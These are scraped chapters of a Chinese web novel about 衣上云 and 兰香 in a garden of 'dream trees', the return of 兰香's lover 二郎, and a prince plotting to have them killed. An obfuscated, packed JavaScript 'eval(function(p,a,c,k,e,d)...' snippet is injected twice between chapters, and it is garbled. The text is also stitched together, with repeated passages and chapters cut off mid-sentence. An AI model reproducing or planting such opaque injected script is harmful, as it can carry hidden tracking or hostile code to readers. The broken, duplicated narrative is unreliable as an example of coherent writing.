俩人逛了半天了,始终也没有看到尽头,衣上云心里竟有些怀疑起,这里是不是一个迷宫了。 而就在这时,她忽然看见前方的路被人拥堵了起来,于是,她便好奇地亦朝着人山人海的地方走了过去。 好不容易穿过了密密麻麻的游客所聚集成的坚实人墙,挤到了最前面。这才看到,原来大家竟是在围观这片一望无际正含苞怒放着的结香花海。 只见这片规模甚是壮观的结香花海,其间以各种梅花点缀着,搭配的倒是极为雅致。 衣上云顿时竟目瞪口呆了起来“这片结香花海,真的好美啊!” 兰香亦如痴如醉地看着眼前这百看不厌的一朵朵小黄花儿,听到衣上云的喃喃细语,疑惑的问她“你说这是什么?” 衣上云朝其仔细解释道“结香开花时没有叶片,因其枝条柔软可以打结,花朵有香气,故名结香。结香粗壮柔软,可打结而不断,故名打结花、打结树。难道不是么?” 兰香自是不以为然道“什么结香,什么打结?这是梦树。你不是药师府千金么,竟连这个也不知?!” 衣上云顿时蹙眉疑惑地问“梦树?” 稍作回想后,她终于从脑海中搜索到了关于梦树的信息。 确是没错,结香又叫做梦树。据说,在一些地方结香所开的花亦被称作“梦花”,其实结香的花倒并不引人注意。 一念至此,衣上云笑道“对,对,没错,也是叫做梦树。听老人们讲,这种树是可以解梦的。晚上做了梦,大清早起来,在没人看见的时候去把它的树枝打个结,如果是好梦就可以实现,是噩梦的话也能得以化解。这种树便被称为“梦树”,而花,自然就成了“梦花”。” 衣上云这才恍然大悟道“嗯,梦园梦树梦花开,这名字还真是不错 。” 忽然,她看到一边儿上有一对年轻似情侣的男女,在一颗结香的枝上打着两个同向的结,衣上云不解道“他们这是在做什么?” 兰香顺势看过去,刹那间眼里满是温柔地含笑说道“这就叫做‘喜结连枝’。在西秦,梦树亦被称作姻缘树。因为很多恋爱中的男女们相信,若要得到长长久久的甜蜜爱情和幸福,只要在梦树的枝上打两个同向的结,这个愿望就能被实现。” 衣上云似是看出了兰香此时的心思,忽然说道“‘喜结连枝’,莫非你也曾做过?” 闻此,兰香忽然褪去了脸上的笑容,深叹口气,接着道“没有,我没做过。” 然眼睛却转向了墙角上的一棵不起眼的梦树,那树上正好打着两个同向的结…… (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第一百三十一章:春天到了,该回国了 天一亮,万娇阁里。 拓跋泽的贴身侍卫急急上楼来,禀道“殿下,老鸨说兰香自称身体不适,昨夜已告假数日外出静养了。” “啪”的一声,拓跋泽的一只拳头重重地砸在其面前的茶几上,茶水到处四溅,他却只顾愤愤地怒道“什么?这都什么时候了,竟然让那个贱人离开了万娇阁。” 侍卫怯怯地说“老鸨说,她保证兰香一定会回来的,绝对不会逃走。况且,兰香的卖身契还在阁里。” 拓跋泽听了,心里似是稍微缓和了一些。坐在茶几边上,轻叹口气,一边烹煮着一壶茶汤,一边朝他身边的侍卫说道“这万娇阁里,怕是已经不安全了。” 侍卫闻之,一脸惶恐,亦纳闷而又无奈地道“不安全?属下也觉得事有蹊跷,即便是金枝玉叶或者贵府千金,也根本不必惊扰到秦王殿下从西秦城东亲自带兵前来寻找。如此看来,这个叫做衣上云的女子,秦王确实甚是看重。且如今,为了寻到她,这官兵已经下了天罗地网在万娇阁门外,将我们围得水泄不通,连只苍蝇怕是也飞不出去的。” 拓跋泽闻此,沉思了片刻,默默起身来倚窗而立,望着前院万娇阁的那座精致的四合院式小洋楼,忧心道“如果这秦王要是真的只是为了寻找衣上云那个女子,而将整个万娇阁翻个底朝天,下了天罗地网倒也并没什么可怕了。怕就怕,他并不是单单只为了寻她而来...看来万娇阁这个栖身之所,如今已是保不住了,必须尽快转移。” 侍卫揣测地问“殿下是怀疑......” “前几日,本皇子收到北烈来的密函,说北烈国朝堂内发现了西秦的细作,在那细作的房内,搜到了本皇子的画像。极有可能...本皇子在西秦国内,已经暴露了。” 侍卫瞬间瞪大了眼睛,大惊失色道“什么!...所以,所以秦王这次在万娇阁里翻天覆地地搜查,极有可能是怀疑到殿下您可能藏身在这里?” 拓跋泽叹了口气,接着道“最危险的地方亦是最安全的地方。反之,最安全的地方亦是最危险的地方。像万娇阁这种地方,最是鱼目混杂,虽然容易藏身,倒也容易暴露。我们能在这里藏匿两年之久,已实属不易了,也是时候该离开了。幸好,那冰美人蛊毒也已练得差不多了。而且...春天到了,我们也该回国好好规划规划一下后面的事情了。” 侍卫似是已明白了过来拓跋泽的计划,便也有些安心了下来,亦深感回家真好。随即一转念问道“那这里的那几个人,殿下预备要如何处理?” 抿了口茶汤,稍作犹豫,拓跋泽对其幽幽道“那个老鸨,留着她或许还有些用处,毕竟她的毒术是数一数二的。虽然心思未必全在我北烈,但南安既然已经将她永久地驱逐了出来,她又对其恨之入骨,怕是她心里也不会再有其它去处了,就先一起带着回国吧。只是,一定要对她严加防范,什么该说什么不该说,你都要把握好,莫失了分寸,酿成大祸。” 侍卫意会地回道“属下明白,属下一定会将她看管好。” 犹犹豫豫间,侍卫最终还是问道“那玉娘呢,也一起带回去么?她有美人血,以后应该也还会有用处的吧?” 听到玉娘的名字,拓跋泽的眼神顿时变的极为悠长了起来,看似是在闲闲地专心把玩着手中的茶盏,沉默了半晌后却终是拿不定主意,只道“玉娘...让本皇子再想想,其它的事先着手速速办吧。看这外面的情势,那秦王怕是给我们的时日不多了。” “是”侍卫领命后便拱手行礼欲退下去。 这时,拓跋泽似是忽然又想起了什么,于是开口补充道“对了,等老鸨那边的消息必定误事,你赶快先派人将那兰香给本皇子处理掉,这些年在万娇阁里,她知道的事情太多了。况且,找到她,或许那衣上云也就出现了。” 侍卫闻声又急急回过头来,却有些疑惑道“殿下可是也看上了那衣上云的毒术。可是,如果她们违命该怎么办?” “哼...违命。如果不能为我北烈国所用,那也不能留给那个秦王轩辕翰。如果她不从,那便就杀了她,玉石俱焚倒也落个干净,以绝后患。本皇子得不到的东西,别人也别想得到。”拓跋泽狠狠道。 侍卫明白道“是,属下明白,殿下可还有要嘱咐的?” 拓跋泽缓缓回到茶几边坐下,放下手中的茶盏“好了,你赶快下去办吧,我们尽快回北烈。” “是”侍卫再次恭恭敬敬地朝其拱手行礼后,掩门退了下去。 拓跋泽入神地看着面前翻滚烹煮着的热茶,口中喃喃道“玉娘......” 城南梦园里,人头攒动,络绎不绝。 空气里,到处弥漫着阵阵沁人心脾的结香花以及梅花等等各种花香味。 梦园中,男男女女,老老少少,遍布园中各个院落里的亭台水榭、殿堂楼阁、轩馆廊榭,木桥石桥。无人不喜这即将到来的满园春色,赏花赏鱼赏美人。 看到一边儿上有一对年轻似情侣的男女,在一株结香的枝上打着两个同向的结,衣上云不解道“他们这是在做什么?” 兰香顺势看过去,刹那间眼里满是温柔地含笑说道“这就叫做‘喜结连枝’。在西秦,梦树亦被称作姻缘树。因为很多恋爱中的男女们相信,若要得到长长久久的甜蜜爱情和幸福,只要在梦树的枝上打两个同向的结,这个愿望就能被实现。” 衣上云似是看出了兰香此时的心思,忽然含笑试探着问她“‘喜结连枝’,莫非你也曾做过?” 闻此,兰香忽然褪去了脸上的笑容,深叹口气,仍只呆呆地看着正在喜结连枝的那对男女,轻轻说道“没有...我没做过。” 然随后,她的眼睛却转向了,那树上正好打着两个同向的结。 衣上云尚且还在纳闷中,只见兰香却缓缓踱步着朝那墙角上的那株极不起眼的梦树走过去,衣上云随即亦跟上前去。 兰香踱步过去后,不言亦不语,表情极为凝重,却似心中思绪万千着,明显已出了神。衣上云这才忽然意识到,这株结香上的两个结,分明就是兰香亲自动手打的, 然她此时却只是好奇,与兰香一起打这对结的男子究竟是谁。 就在衣上云思索出神之际,她忽然看到兰香的脸上竟流下了两行眼泪来,正缓缓伸出手去抚摸那打在结香上的结。 衣上云见此,正打算开口安慰她,却又忽然打消了这个念头,暗自心里道“她既然不想说,便不能强迫她。或许,这个时候,她并不想被外人打扰,只单独在这里静静地呆一会儿吧。” 思及此,衣上云的眼睛忽一抬起,扫到了通往隔壁院子的拱门口外,有一个制作麦芽糖、面人儿、还有糖葫芦的小摊。 “或许,等兰香待会儿不那么难受了的时候,吃一些甜食会很开心地释怀了吧。”衣上云含笑想着想着,抿起嘴来看了看兰香,便朝着拱门外走了过去。 兰香并未发现衣上云的离开。此时,她满腹心事,回想起那个骗了他还将他卖入青楼的男人来。 眼前这株结香上的两个结,正是他与她一见钟情,在梦园里第一次相识的时候,打下的。可不知为什么,此时,在她的眼里心里竟对他没有丝毫恨意。 半晌后,兰香终于梨花带雨地开了口“二郎,你究竟为何要这样对兰香。当年,二郎对兰香信誓旦旦、嘘寒问暖、关怀备至、毫无嫌弃、甚至说将来一定会带兰香离开这里,出去看看外面的世界...这一切的一切,兰香不相信,这真的只是当年二郎你对兰香的一场欺骗而已。兰香不相信二郎是个骗子,不相信...不相信...” 兰香一边摇头,一边哭诉着,然说话的声音却愈来愈弱。不禁想起当年忽然而至的那场灾祸来。 当年,也就是在她十五岁及筚的那年,兰香出落得淡雅素静,亭亭玉立,着实是当地难得一见的美人儿。 亦是正逢这梦园里的梦树开花之际,听闻梦树亦作姻缘树。若想要得到长久甜蜜的爱情和幸福,只要在梦树的枝上打两个同向的结,这个愿望便能被实现。 于是,兰香便在这里认识了那个叫做二郎的才华横溢的翩翩公子。 俩人一见钟情,很快便有了肌肤之亲。后来,二郎许诺要回乡向家中父母禀明此事,命人上门来向兰香家中正式提亲迎娶,俩人从此朝朝暮暮,比翼双飞,再也不分开。 可谁知,数日后,兰香收到的却是那二郎差人约她出去面谈要事的一封亲笔书信。 兰香见此,喜不胜收,以为事情成了。谁料想等待她的竟是万娇阁的一纸卖身契。 到了万娇阁,她方被告知,二郎竟将她给卖了,银子早都拿着不知去向了。 兰香心中虽是疑惑重重,可白纸黑字,兰香亦是百口莫辩,从此沦落风尘之中。 一念至此,兰香吸了吸鼻子,又自言自语道“二郎,你到底去了哪里,你回来跟兰香把一切都说清楚,说清楚啊。” 情到深处,兰香伤心欲绝,竟“扑通”一声跪倒在了那株结香树下,低头瑟瑟发抖着抽泣哭了起来。 就在这时,耳边忽然传来一个声音“兰香” ...... 顶点 第一百三十二章:游园惊梦 兰香吸了吸鼻子,自言自语道“二郎,你到底去了哪里,你回来跟兰香把一切都说清楚,说清楚啊。” 情到深处,伤心欲绝,她竟“扑通”一声跪倒在了那株结香树旁,低头蜷缩着瑟瑟发抖地抽泣起来。 就在这时,耳边忽然传来一个声音“兰香。” 兰香听到这似是有些耳熟的男子声音的轻唤,方才渐渐从一片深深的相思悲痛中缓过神来,将头缓缓抬起。 “二郎?!”一抬头,兰香顿觉不可思议地惊叫道,可随即又慌慌张张地想要即刻便起身靠近过去将来人查验个清楚,这才发现自己不知是因为太过惊讶还是因为伤心思念过度,竟早已站不起身来。 见此,这位玉树临风,文质彬彬又温文尔雅的白袍翩翩公子快步走上前来,眼里含情脉脉地蹲下身去将她扶住。 顿时,兰香终于再也忍不住思念地伸出手来,一把将这白袍公子的腰身紧紧地搂住,更加伤心委屈地哭了起来。 而白袍公子亦将其一把揽入他宽阔温暖的怀中,一时间百感交集,千言万语只能暂时任其化作一个彼此深深的相拥。 “二郎,真的是你么?这是真的么?你真的是二郎,真的是兰香的二郎回来了?”兰香一边喜极而泣着,一边紧紧地靠着白袍公子坚实的胸膛深感极不真实地朝其一遍又一遍地问道。 “是我,我是二郎,是你的二郎回来了。”白袍公子亦深情地说道。 谁料,片刻后,兰香忽然将手抽开,用力地一把推开了拥她入怀的白袍公子,声嘶竭力地对其怒喝道“骗子、伪君子、卑鄙、无耻、下流,你滚开,你不要碰我。” “兰香,你这是怎么了?”白袍公子突然被兰香始料不及的一个大力推开,顺势一个踉跄,险些跌坐在地,急急后退了两步甚是不解道。 然兰香却只自顾自地又一次开始抽泣起来...... 此时,不远处,通往隔壁院子的拱门口外,制作麦芽糖、面人儿、还有糖葫芦的小摊上,衣上云正满脸笑容开心地挑选着各种甜滋滋的小甜食儿。 忽然看到身边的人们都蜂拥般的从自己身边经过,她亦有些好奇地抬起头来朝着人们所往之处瞧了起来,不禁心里纳闷道,是出什么事了么? 就在这时,小摊的摊主,一个年龄已过不惑之年的老伯,向一位路经过的年轻妇人探问道“前面是发生什么事儿了么?” 妇人答道“前面有个俊俏的负心汉,快去瞧瞧。” 摊主笑而不答,只摇了摇头,继续手中的活计,随后道“这世上,遍是痴情女子负心汉,尽是不同的故事一样的结局,不看倒好,看了也是徒增伤感一缕。既然负都负了,各自珍重便好。既已分开,又何必 再回来纠缠。唉,这世间的情情爱爱,最是磨人,缘起缘灭,本就都是浮云一场而已,又何苦恋恋不舍。” 小摊的摊主老伯话说的倒是云里雾里的深刻,然衣上云却似是一句都没有听进去,只朝其皮笑肉不笑地一视,便又朝着人们所向聚集之处看了去。 此时此刻,她心里想的是:此时正逢春节,这偌大的梦园里,处处人山人海。却因了这具有特殊意义的结香花,只唯独此傍湖而立的院落里人最是多。若等会儿半天找不着兰香人了,那可就要费不少事儿了。 再说了,要找到玉娘,守着兰香好像是目前唯一的办法了。这兰香也好不容易答应她要开口了,这次看着她也是极其认真的,应该不会再骗她。 这城南的地形,她可一点儿都不熟悉,要是真找不着兰香了,就她自己是绝对找不着回兰香家的路的。更何况,如今在这儿,她可是独自一人。就她这个路痴,可千万不能在这个节骨眼儿上,把自己先给弄丢了。 思量至此,衣上云方感情势严重,便匆匆从袖子里掏出一个装小钱儿的小香囊来“老伯,这几个我都要了,给您钱,您拿好了。” 说完,便递给摊主老伯几个铜钱,尔后自己伸手挑选着拔下两个冰糖葫芦和依照这梦园里的结香花制成的俩个麦芽糖花,迈着轻盈而又愉快的脚步,沿着原路返回了去找兰香。 可当她一脸欣喜的穿过密密麻麻的人群,一凑上前去的时候,便立刻僵住了脸上的盈盈笑意,被眼前的情景惊呆了…… 只见兰香正站在墙角上的那株最不起眼的结香树边,发了疯似的一边哭泣着,一边拼命般狠狠三两下便将那树上原本打着的两个牢牢的同向结给拆解了开来,嘴里还愤愤念叨着“什么姻缘树,什么喜结连枝,什么长长久久的甜蜜爱情和幸福,都是骗人的,一切都是骗人的。哈哈哈.....这些年,我竟全都相信着。我就是个傻子,傻子...” 随后,兰香忽然转过身来,面目狰狞着伸出一根纤长的手指直指着身前那位温文而婉的白袍公子身旁的年轻妇人,眼睛恨恨地朝那白袍公子怒问道“她是谁?” 白袍公子顺势看了身旁的女子一眼,眼中满是歉意,继而又看向了兰香,低声怯怯地回她道“她是我的结发妻子,红梅。” 兰香听了没有说话,又是一阵仰天的哈哈大笑。白袍公子见了,顿时手足无措地劝道“兰香,你先不要动怒,你听我给你解释。当年...” 然还未及白袍公子将话说出口,兰香便突然收了狂笑之声,低下眉眼来对那其怒斥道“闭嘴,你这个丧心病狂,人面兽心的伪君子,你有什么资格跟我提当年。当年,你不但骗了我的身 子,还将我卖入青楼,受尽苦楚与折磨。我竟不知,这世间,还有你这般丧心病狂之徒。如今,你还敢回来,竟还带着一位结发妻子。哈哈...哈哈哈,真是可笑至极,可笑至极啊。你看,你看看啊,你看看这株刚刚被我拆解开来的梦树,你可还认得?这上面的喜结连枝是不是你同我当年亲手打上去的?可这喜结连枝方才被我刚刚解开,你便带了结发妻子回来,那与我当年打下的这个喜结连枝还有何意义,你说,你说啊,你说你是不是一个骗子,是不是?” “将你卖入青楼?兰香你...我...我没有,我...”白袍公子听了兰香的话,缓缓摇头,低声惊讶道。其身旁的妇人亦吃惊地看着兰香,又看看白袍公子。 “怎么?这才不过两年的光景,便都忘记了么?”兰香轻蔑的眼神,淡淡地说道。 “难道是...不可能...绝不可能,不可能是这样?”白袍公子稍作思量,似是心里已有所怀疑,突然情绪有些慌乱了起来,踉跄欲倒。 见此,他身旁的年轻妇人连忙过去将其胳膊扶住,关切地道“二郎莫急,红梅来替二郎跟兰香姐解释。” 闻此,兰香狠狠朝着年轻妇人瞪了一眼。 那妇人一袭淡紫色衣裙,头点珠翠、略施粉黛、面容姣好、温柔贤惠、看起来一副书香门第大家闺秀的模样,一上前来便恭敬地朝着兰香欠身行礼“红梅见过兰香姐。” 妇人抬眼见兰香并不怎么待见她,却也并未退缩,仍旧脸上和语气中带着些许歉意地说道“兰香姐莫要误会了二郎,二郎真的不是这世间的薄情寡义之人。这两年,每到这西秦梦园的梦花开花时节,二郎都会来梦园的这株梦树边等兰香姐再次出现。兰香姐若不相信红梅的话,可以看看方才你拆解开来的那对喜结连枝的树枝,看看它上面是不是雕刻着许多深浅不一的兰花记号,那兰花代表的,不正是兰香姐你么。” 闻此,兰香激动不已的情绪方才和缓了些许下来。心里瞬间为之有了些动容,默默地顺势拾起其中的一根树枝来凑到跟前,很容易便发现了那软软的树枝上,清清楚楚地雕刻着许多新旧不一的兰花印记。 见此,红梅继续说“每次雕刻这些兰花记号的时候,二郎都是小心翼翼的,这力道不能大也不能小。力道大了,二郎怕毁坏了树枝,可力道小了,又怕日子一久,便看不清楚这印痕,就如同模糊了二郎记忆中兰香姐的模样一般。曾经多少次,刻刀刻在二郎自己的手上,他却一点都觉不到痛...兰香姐,这两年,二郎的心里也不好受啊...” 红梅说着说着,停了下来,想起以前自己站在一边默默地看着自己的夫君在此 为别的女人伤情,竟不知道这泪水里到底是对夫君的疼惜还是对他这段旧情的妒忌。 稍作回忆后,红梅又说“当年,二郎忽然回家来说,要请媒婆到兰香姐家中提亲。二郎家中父母不允,的确,红梅承认这也是因为红梅的缘故,红梅的父母与二郎的父母是世交,自小便希望红梅与二郎能在一起喜结连理。但二郎一直坚持,为此与家里对抗。后来,两家父母商量过后便交待管家无论用什么办法,都务必让兰香姐对二郎死心。可二郎与红梅都没有想到,管家竟会使出这种下三滥的手段。只是...那管家后来在家中兴风作浪,半年前已经被公婆打发走了。如今,怕是亦无处可寻了。否则,就算搭上红梅的性命,红梅也一定要替兰香姐向其讨回公道。” 话已至此,似乎之前所有的误会一时间也都明朗了起来,在场的这三人也都各自平静沉默了下来。 兰香的两只手里,捏着被自己刚刚愤愤拆解下来的喜结连枝的两根树枝,望着上面密密麻麻却清清楚楚的雕刻着的兰花印记呆愣着。 尚且还挤在人群里观望着的衣上云亦终于了解了曾经发生在兰香身上的所有不幸的遭遇。此时,亦是心里百味杂陈着。 而混挤在梦园人山人海里的,还有几个手持短剑,眼里冒着凶光的杀手...... (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第一百三十三章:心若兰兮终不移 听了红梅的一席话,似乎之前所有的误会一时间也都明朗了起来,在场的这三人也都各自或多或少平静沉默了下来。 兰香的两只手里,捏着被自己刚刚愤愤拆解下来的喜结连枝的两根树枝,望着上面密密麻麻却清清楚楚的雕刻着的兰花印记呆愣着。 尚且还挤在人群里观望着的衣上云亦终于了解了曾经发生在兰香身上的所有不幸的遭遇。此时,亦是心里百味杂陈着。 突然,黑压压一片挤在一旁围观看热闹的人们亦是都开始七嘴八舌,叽叽喳喳地对这三人指指点点,评头论足议论了开来。好听的,不好听的,什么话都有。 “原来是个窑子里的货色” “倒也是个苦命的孩子” “俊男美女,俩个人长得倒是郎才女貌的,真是可惜了。” “好好的一对璧人,怎么会落得今天这个样子” “都是那挨千刀的管家造的孽” “帮姑娘赎身吧,回去纳了人家,看那公子的正牌妻子知书达理的,应该不是个妒妇” “哎呀,这怎么行呢,都在那地方呆了两年了。那公子看着文质彬彬,像是出自书香门第正经人家的儿郎,这种人家家里,怎么可能接受一个青楼女子” ...... 听到旁观者的闲言碎语,议论纷纷。白袍公子这才回过神来,于是连忙上前一把捉住了兰香的胳膊,便想将其拖着离开“兰香,跟我走,今日二郎我就算倾家荡产,也一定要把你赎出来。我带你回家,这次,说什么我都不会再放开你,谁都别想阻止我们,拆散我们,我一定要娶你,相信我。” 听到白袍公子这番发自肺腑恳切感人的话,旁观众人竟都纷纷对其鼓起掌来。 红梅亦是静静地站在一旁,看着自己的夫君信誓旦旦地对另一个女人说着这辈子,她都想听却永远也不可能听到的话。 如是一般女子,此时此刻心里不知道有多羡慕、嫉妒、恨,可她却不能。 因为,从小与夫君青梅竹马的她,心中一辈子都只认定了她的夫君一人,她太懂她的夫君。 自从两年前她上了花轿,迈入夫君家大门的那一刻,便已经准备好了接受一辈子都注定有名无实的夫妻关系。 这两年来,她从来都没看到过夫君脸上有一丝的笑容,她的心里是有多疼。 这世间,有些爱,虽不能两情相悦,却依然让人感动。纵使结果到了最后,可能唯独只是感动了自己,然生命也一样深刻,犹如至宝,珍贵无比。 然听到白袍公子这番肺腑之言,兰香却拼力挣扎开了他的手,咬牙切齿般地对其说出了这般伤人狠心的话“就算你们说的这一切都是真的,都是那管家的主意,与你们都无关。好,算我兰香 倒霉。这辈子,我认了。可如今,你既已经有了妻室,还回来找我做什么?看看你的正妻,温柔贤惠、气质如兰、高贵大方。而我...” 一说到自己身上,兰香想起这两年在万娇阁里不易的种种辛酸和苦楚,泪水瞬间夺眶而出,她迅速将头高高抬起,欲将眼泪倒回去眼底,随即抹了一把眼角已悄然流下的泪水,对着天仰望轻叹,吸了吸鼻子,继续说道“而我却是一个人尽可夫的妓女,你又如何再娶我进门。你说,你是不是还想骗我一次,伤我一次。我兰香早就已经不是当年那个痴痴傻傻的小女孩儿了。今生今世,我兰香再也不会上你的当,不会上任何人的当,任由你们侮辱摆布。” “为什么,为什么你到现在还不相信我,真的不是我做的,我怎么可能那样对你。我绝对不会背叛当年对你立下的誓言‘今生今世,二郎只愿得兰香一人心,白首不相离’,纵使这两年你不在我的身边,我也不曾违背自己的誓言。红梅她...我与红梅...”白袍公子听了兰香如此狠心决绝的话,摇着头激动地说道。 这时,红梅快步上前来,打断了白袍公子的话,只见她一上去便将手急急伸到白袍公子的衣袖里,掏出一支翠绿色的金镶玉兰花玉簪来。 随即缓缓走向了兰香面前,白袍公子怔在原地愣愣地看着红梅的背影,红梅一边端详着手中的玉簪,一边一字一句朝着兰香恳切地说道“‘气如兰兮长不改,心若兰兮终不移’兰香姐,这支翠绿色的金镶玉兰花玉簪你可还识得?” 兰香顿时惊讶地眼睁睁看着自己眼熟的不能再熟悉的物件,缓缓伸手将其接过,对红梅怔道“这兰花玉簪,你...” 红梅轻叹口气,略带悲伤地朝其说“兰香姐与二郎的事,红梅这两年也从二郎那里听得了略知一二。这支翠绿色金镶玉兰花玉簪所代表的意义,想必兰香姐一定不会质疑了吧。这不正是当年兰香姐与二郎的定情信物么。” 两年的时间里,与自己朝夕相处的夫君竟然心里装着另一个女子,任谁都不可能不嫉妒,不怨恨,可红梅这两年却只觉得自己的夫君愈来愈郁郁寡欢,生怕他如此下去,会闷出什么大病来。这个二郎确实是个温文而婉的好夫君,只可惜任她再多努力,却始终都走不进他的心里。 稍作回忆,红梅缓缓说起“兰香姐可知,在这两年的光景里,这支兰花玉簪日日夜夜,从来都没有一刻离开过二郎的身上。就连...就连我们的洞房花烛夜,二郎也是独自对着这支兰花玉簪度过的。‘气如兰兮长不改,心若兰兮终不移’,我与二郎至今...至今都尚未圆房 第一百三十四章:杀人灭口,分开逃命 白袍公子忽然笑了起来,对着兰香说道“这一世,始终是二郎负了你,下一世,二郎一定还你。” 闻此,在场的所有人都一起抹起泪来。 话一说完,白袍公子终于含着笑缓缓闭起了那双深邃的眼睛。 兰香用力一把紧紧拥起白袍公子,摇晃着道“二郎,二郎,二郎你醒过来,你不能睡,你快醒过来。兰香不要下一世,兰香只要现在。这一世,生生世世,兰香都不能没有你。兰香知道错了,是兰香误会了二郎,兰香不能没有二郎,不能...” 可不管她再说什么,做什么。此时,显然白袍公子已经彻底地离开了这个世界,离开了他此生生命里最放不下的这两个女人。 悲兮,痛兮,兰香仰天大哭,这哭声撕心裂肺、声嘶竭力、震彻天地。 风雨依旧,落花依然。 而此时,一旁的红梅早已恍若失魂般呆呆地站在边儿上,手里紧紧攥着一条水绿色丝帕,任由那滂沱大雨冲刷着她的周身。她却一如既往地极力隐忍着内心的悲痛,终究摇摇晃晃着,一个没站稳,便重重地跌倒在地上,黯然失神道“这次,终于如你所愿了。” “花开花落花无悔,缘来缘去缘如水。花谢为花开,花飞为花悲。花悲为花泪,花泪为花碎。花舞花落泪,花哭花瓣飞。花开为谁谢,花谢为谁悲。” 这时,一旁的俩个丫鬟尚还惊魂未定着,看到自家女主子悲伤倒地,急急上前来将其小心翼翼地搀扶起来,哭哭啼啼着道“小姐,姑爷已经没啦,小姐要多保重才是啊。” 半晌后,红梅方才缓缓上前来对兰香说道“兰香姐,让红梅带二郎回家吧。” 兰香闻此,忽然抬眼朝着红梅一怔道“回家?!” 思量片刻,兰香抬头看看红梅,又低眼看看自己怀中一脸纸白的白袍公子,随即缓缓拿出方才的那支金镶玉兰花玉簪来,可那拿着簪子的纤纤玉手却一直不停地颤抖着。 对着手里的兰花玉簪凝视了许久后,兰香忽然将其缓缓递给红梅,对她说道“这支兰花玉簪虽是因我而生,但它终究还是二郎之物。这一世,我与二郎终究是情深缘浅。而你...你与二郎,无论是否有夫妻之实,却始终都是他以三书六礼、八抬大轿、明媒正娶的结发妻子。这簪子留着,亦只是让人徒增伤感缕缕...你就将它与二郎一起葬了吧。此生,我与他...已两不相欠。如若真有来世...我亦愿与他再无瓜葛。” 红梅听了点点头,似是已经应允,便伸手将那支翠色欲滴的兰花玉簪接过收了起来。 这时,几个小厮抬着两顶轿子进到院里来,其中的一个小厮,拿着两把油纸伞上前递给红梅身旁的丫鬟,丫鬟立刻上前替 红梅撑了起来遮挡风雨。 红梅又从丫鬟手里接过另一把油纸伞来递到兰香面前“兰香姐,那红梅就告辞了,珍重!” 许是心中还是隐隐有些不甘,又或许是想珍惜这剩下不多的最后的每一分每一秒,兰香并没有伸手接红梅向她递过来的伞,只呆呆地注视着即将离开自己怀抱的男子,衣上云见此连忙伸手将其接过谢道“多谢。” 于是,几名小厮一起上前来很快的将白袍公子从兰香的手里接过,将其从地上抬起,很快便放进了轿子里。红梅亦是心情沉重地缓缓踱身上了另一个轿子。 很快,这突然而至的一场大雨里,所有的一切都消失不见了踪影,就仿佛刚才的一切如同根本没有发生过一般...... 雨中,衣上云一手撑着油纸伞,一手拥着兰香的肩。兰香眼神呆滞地望着身边,白袍公子临死前拼尽全身最后一点力气重新打好的那个喜结连枝,却忽然转头趴在衣上云的肩上放声大哭了起来“呜呜呜...” “哭吧,哭吧,都哭出来吧,哭出来就好了,我知道你方才最后说的那些狠话都不是真心的。你只是想让红梅答应,让二郎为你而制的那个世上独一无二的兰花簪子永远陪着他而已。你看,既然二郎临走前拼了命也要与你喜结连枝,再结下这来世之约,就注定了你与二郎一定会来世再见的。”衣上云拍着兰香的肩膀,安慰道。 就在这时,衣上云的眼睛余光一斜,忽然扫到有两个身佩长剑、满身杀气、一袭黑色斗篷,低低的遮着风帽将眼睛挡起的神秘男子正从大门外朝着她和兰香这边渐渐逼身靠近过来。 衣上云连忙将兰香拉起身来,催促道“不好,他们又回来了,快起来,快点儿,快跑...” 兰香闻此这才急急回过神来,一看到黑衣杀手,便一把拉起衣上云的手欲拔腿就跑。衣上云快速丢掉手里的油纸伞,迅速弯腰下去拾起地上方才被自己从白袍公子身上拔下来的淬了毒的短剑,方才跟着兰香从另一旁的小门上大步跑了出去。 黑衣杀手见被发现,便飞快地追了上去。 衣上云和兰香俩人蒙着头拼命的一直朝前跑,而俩名黑衣杀手亦在其身后紧追不舍。就在跑出了离梦园还没多远的时候,兰香一个弱女子便已捂着腹部气喘吁吁地支持不住了,而衣上云虽身为21世纪的大学校园运动会女子长跑冠军,但此时是在被受过专业训练的杀手追杀,她亦是大口地喘着气有些招架不住。 当俩人跑到街角一个稍微安 第一百三十五章:万娇阁,果然暗藏大阴谋 兰香一边褪着外衣,一边忧心道“云儿,你说的这俩个人真的可靠么,可如果这俩个人都不在如意居的话,那我又该如何是好呢?” “都不在如意居,不会吧?!”衣上云此话刚一出口,兰香的心中似是忽然有了一个更好的主意。 她一双明亮的杏仁眼瞬间咕噜一转,开口问道“云儿,你究竟与秦王殿下有何关联,为何他会特意派重兵到万娇阁里来寻你呢?” 衣上云一听到兰香说秦王殿下,手里的动作忽然停了下来,心里不禁怔了一下,紧急关头,也只是一下下而已,随后犹犹豫豫间只回答她“我...过了元宵节,我便是秦王府侍候秦王妃的一名医女了。” 闻此,兰香的神情似是顿时一松了开,随即又道“原来如此...云儿,你看这样行么?既然这秦王殿下在寻你,那为何我们不直接请他来帮忙呢,秦王殿下不是更有能力保护我们么?” 